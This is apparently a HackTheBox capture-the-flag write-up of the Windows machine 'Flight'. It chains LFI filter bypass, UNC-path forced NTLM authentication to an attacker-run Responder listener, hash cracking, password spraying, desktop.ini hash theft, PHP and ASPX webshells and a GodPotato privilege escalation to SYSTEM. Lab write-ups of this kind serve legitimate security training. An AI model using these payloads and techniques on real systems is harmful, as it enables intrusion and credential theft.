HTB: Flight Writeup
Flight - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Flight |
| OS | Windows |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.11.X |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Flight is a Windows Domain Controller (G0, domain flight.htb) that starts with a static Apache site and a second virtual host, school.flight.htb, hiding a Local File Inclusion bug behind its ?view= parameter. The LFI’s blacklist only blocks backslashes, so a forward-slash path bypasses it — and that same bypass lets an attacker point the include at a UNC path, forcing the box to authenticate outward and leak an NTLMv2 hash. Cracking that hash yields a service account password that turns out to be reused by a human operator, which is confirmed via SMB user enumeration and a password spray. From there, a writable share is used to bait a second NTLM hash out of a different user (again captured with a listener and cracked), and that user’s SMB write access to the web root gives code execution via a PHP webshell. A lateral hop with RunasCs reaches a user in the WebDevs group, whose write access to an internal-only IIS site (bound to localhost) allows dropping an ASPX webshell that executes as the IIS APPPOOL\DefaultAppPool virtual service account — an account that carries SeImpersonatePrivilege by default. Abusing that privilege with a “potato”-style exploit yields NT AUTHORITY\SYSTEM.
TL;DR: LFI (/ bypasses \ blacklist) → UNC path forces NTLM auth → crack svc_apache hash → password reuse spray finds s.moon → NTLM-theft file dropped on writable share captures c.bum hash → crack it → c.bum writes PHP webshell to web share → RCE as svc_apache → RunasCs to c.bum (WebDevs) → write ASPX shell to internal IIS dev site → exec as DefaultAppPool → GodPotato (SeImpersonate abuse) → SYSTEM.
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- flight.htbResults: Full-port scan confirms a Windows Domain Controller — hostname resolves to G0 in the flight.htb domain, with the standard AD service spread (DNS, Kerberos, LDAP, SMB) alongside Apache on port 80.
# resolve the base domain so Kerberos/SMB tooling and vhost routing workecho "10.10.11.X flight.htb" | sudo tee -a /etc/hostsService Enumeration
The root site on port 80 is static. Virtual-host enumeration turns up a second site, school.flight.htb, which is added to /etc/hosts:
echo "10.10.11.X school.flight.htb" | sudo tee -a /etc/hostsschool.flight.htb has working navigation (Home, About Us, Blog) driven by index.php?view=<page>.html — a classic file-include pattern.
Vulnerability Assessment
- LFI in
index.php?view=— the parameter is fed straight into a file include. A naive blacklist blocks\but not/. - Windows path-separator equivalence — Windows treats
/and\as interchangeable path separators, soC:/Windows/...reads identically toC:\Windows\..., defeating the backslash-only filter. - UNC-path LFI → forced authentication — because the underlying
include()will happily fetch a\\host\share(or//host/share) resource, pointing it at an attacker-controlled SMB listener forces the machine to authenticate outbound as the web service account, leaking its NTLMv2 hash. This is the same class of bug tracked generally as PHPinclude()/file_get_contents()UNC-path SSRF-to-credential-leak on Windows.
Initial Foothold
Exploitation Path
1. Confirm the LFI filter bypass using a forward-slash path against a known Windows file:
http://school.flight.htb/index.php?view=C:/Windows/System32/drivers/etc/hostsThis returns the hosts file contents, proving the blacklist only strips \.
2. Weaponize the LFI as a forced-auth primitive. A listener is started to catch the inbound SMB authentication:
# capture NTLM auth from any host that tries to hit our fake shareresponder -I tun0 -vThen the LFI is pointed at an attacker-controlled UNC path:
http://school.flight.htb/index.php?view=//10.10.15.180/htbThe webserver process attempts to resolve the share, authenticating as itself in the process. Responder captures an NTLMv2 hash for svc_apache.
3. Crack the hash offline:
john svc_apache.hash --wordlist=/usr/share/wordlists/rockyou.txt# result: svc_apache : S@Ss!K@*t134. Enumerate the domain’s user list with the newly obtained SMB creds:
impacket-lookupsid svc_apache:'S@Ss!K@*t13'@flight.htbThis returns the full set of domain usernames (service account creation is frequently done by a real operator, and operators reuse passwords — worth spraying).
5. Password spray the cracked password across the user list. The service-account password hits again on a real user:
s.moon : S@Ss!K@*t13 → WRITE access on the Shared share6. Bait a second NTLM hash off the Shared share. Since multiple staff likely browse Shared, a file that forces Windows to reach out over SMB just by being listed in the folder (an NTLM-theft technique — e.g. a crafted desktop.ini pointing its icon resource at a UNC path) is dropped into the share while Responder is listening again:
responder -I tun0 -v# desktop.ini (UNC icon reference) uploaded into \\flight.htb\SharedSimply browsing that folder as another user triggers Windows Explorer to resolve the icon’s UNC path, leaking that user’s hash. This captures an NTLMv2 hash for c.bum.
7. Crack the second hash:
john c_bum.hash --wordlist=/usr/share/wordlists/rockyou.txt# result: c.bum : Tikkycoll_4310122848. Grab the user flag. c.bum has READ access on the Users share, exposing the desktop flag directly:
User Flag: <redacted>9. Get code execution. c.bum also has WRITE access to the Web share — the live web root for flight.htb / school.flight.htb. A minimal PHP webshell is uploaded:
<?phpecho system($_GET['c']);?>curl 'http://flight.htb/shell.php?c=whoami'# → flight\svc_apacheCommand execution is now available as svc_apache.
Privilege Escalation
svc_apache → c.bum (lateral, credential reuse)
The webshell runs as svc_apache, but the cracked c.bum credentials are more useful — c.bum belongs to a non-default WebDevs group. RunasCs is used to spawn a new process as c.bum from the existing svc_apache foothold:
RunasCs.exe c.bum Tikkycoll_431012284 -l 2 "<command-to-run-as-c.bum>"-l 2 requests a network logon, which avoids the profile-loading issues of interactive logons for service-context callers.
c.bum → IIS APPPOOL\DefaultAppPool (internal IIS pivot)
Enumeration as c.bum turns up C:\inetpub, indicating a second, IIS-hosted site alongside the Apache install, and a listener on 127.0.0.1:8000 — internal-only, not exposed externally. c.bum’s WebDevs membership grants write access to C:\inetpub\development, which maps to that internal site. An ASPX webshell is dropped there:
<%@Page Language="C#"%><%var p=new System.Diagnostics.Process{StartInfo={FileName=Request["c"],UseShellExecute=false,RedirectStandardOutput=true}};p.Start();%><%=p.StandardOutput.ReadToEnd()%>Hitting http://127.0.0.1:8000/cmd.aspx?c=whoami (reachable only from on-box, so this requires a local pivot/tunnel from the c.bum foothold) triggers it, and the response resolves as:
IIS APPPOOL\DefaultAppPoolThis is a Windows virtual account, not a real user — Microsoft documents that services running under virtual accounts authenticate to the network using the computer account’s identity (DOMAIN\COMPUTER$), and locally they run with SeImpersonatePrivilege enabled by default (standard for IIS application pool identities).
DefaultAppPool → NT AUTHORITY\SYSTEM (SeImpersonate abuse — GodPotato)
SeImpersonatePrivilege is the enabling condition for the entire “potato” exploit family: the technique coerces a SYSTEM-privileged component (historically via DCOM/OXID resolution, RPC, or similar local COM/NTLM tricks depending on the potato variant) into authenticating to a listener the attacker controls, captures that SYSTEM token, and — because the calling process holds SeImpersonatePrivilege — impersonates it to spawn a new process as NT AUTHORITY\SYSTEM.
GodPotato was used here rather than the older Rotten/Juicy Potato lineage (which rely on OXID-resolver behavior patched out of modern Windows) or the write-up’s own Rubeus/tgtdeleg/DCSync route — GodPotato’s RPC-based coercion still works on current, patched Windows builds and needs no extra AD abuse (no ticket wrangling, no DCSync) to land straight on SYSTEM:
GodPotato.exe -cmd "<command-to-run-as-system>"Root Flag: <redacted>Attack Chain Summary
LFI (?view=) on school.flight.htb → backslash-blacklist bypass (Windows accepts '/') → UNC-path include forces outbound SMB auth → Responder captures svc_apache NTLMv2 hash → cracked (S@Ss!K@*t13) → impacket-lookupsid enumerates domain users → password-reuse spray → s.moon:S@Ss!K@*t13 (WRITE on \Shared) → NTLM-theft file (desktop.ini) dropped on \Shared → Responder → c.bum NTLMv2 hash captured → cracked (Tikkycoll_431012284) → c.bum READ on \Users → user.txt → c.bum WRITE on \Web → PHP webshell → RCE as svc_apache → RunasCs → shell as c.bum (WebDevs group) → write cmd.aspx to C:\inetpub\development (internal IIS, 127.0.0.1:8000) → exec as IIS APPPOOL\DefaultAppPool (SeImpersonatePrivilege) → GodPotato → NT AUTHORITY\SYSTEM → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Full port scan, service/version identification |
Apache/PHP LFI (?view=) | Local file read + UNC-path forced authentication |
Responder | Capture NTLMv2 hashes from forced SMB auth |
john | Offline cracking of captured NTLMv2 hashes |
impacket-lookupsid | Domain user enumeration via SMB/RPC |
Password spray (reused svc_apache password) | Discover s.moon credential reuse |
NTLM-theft file (desktop.ini UNC-icon) | Bait a second NTLMv2 hash off a shared folder |
| PHP webshell | RCE as svc_apache via writable web share |
RunasCs | Lateral movement to c.bum using recovered creds |
ASPX webshell (cmd.aspx) | RCE on internal-only IIS site as DefaultAppPool |
GodPotato | SeImpersonatePrivilege abuse → SYSTEM |
Key Learnings
Techniques Practiced
- LFI filter bypass via Windows path-separator equivalence (
/vs\) - Forcing NTLM authentication through a file-include primitive (UNC path)
- Offline NTLMv2 hash cracking
- Domain user enumeration + password-reuse spraying
- NTLM hash theft via share-dropped trigger files
- Webshell RCE through writable web content shares
- Lateral movement with
RunasCs - Discovering and pivoting to internal-only (localhost-bound) web services
- Abusing
SeImpersonatePrivilegeon a Windows virtual service account via a potato exploit
Lessons Learned
- A blacklist filter that only strips
\is trivially defeated on Windows, since/is a fully valid path separator to the OS. - Any LFI/file-include bug on Windows should always be tested against a UNC path — it turns a “read-only” bug into a credential-leaking forced-authentication primitive.
- Service accounts are often provisioned by a real human operator who reuses their own password — always enumerate the full user list and spray recovered credentials.
- Writable “scratch” shares (like
Shared) are a reliable vector for NTLM theft: any file type Windows Explorer auto-resolves a UNC reference for (icons, shortcuts, etc.) is a hash-capture opportunity. - Virtual/service accounts like
IIS APPPOOL\*are not full local accounts, but they typically carrySeImpersonatePrivilegeby default, making the “potato” family of exploits an almost-guaranteed path to SYSTEM once you land in that context. - Internal-only bound services (
127.0.0.1:8000) are still real attack surface once you have any code execution on the box — they just need a pivot (SOCKS tunnel, or writing directly to the internal site’s document root from an on-box account) rather than external access.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- “Flight” HTB Official Writeup, Document No D22.100.214, prepared by amra (Machine Authors: Geiseric & JDgodd) — used for explanatory context on the LFI-to-UNC forced-authentication mechanism, the virtual-account/
SeImpersonatePrivilegerelationship, and the “potato” exploit family background. All IPs, hashes, cracked passwords, and command output in this writeup are from the author’s own solve, not from the reference material.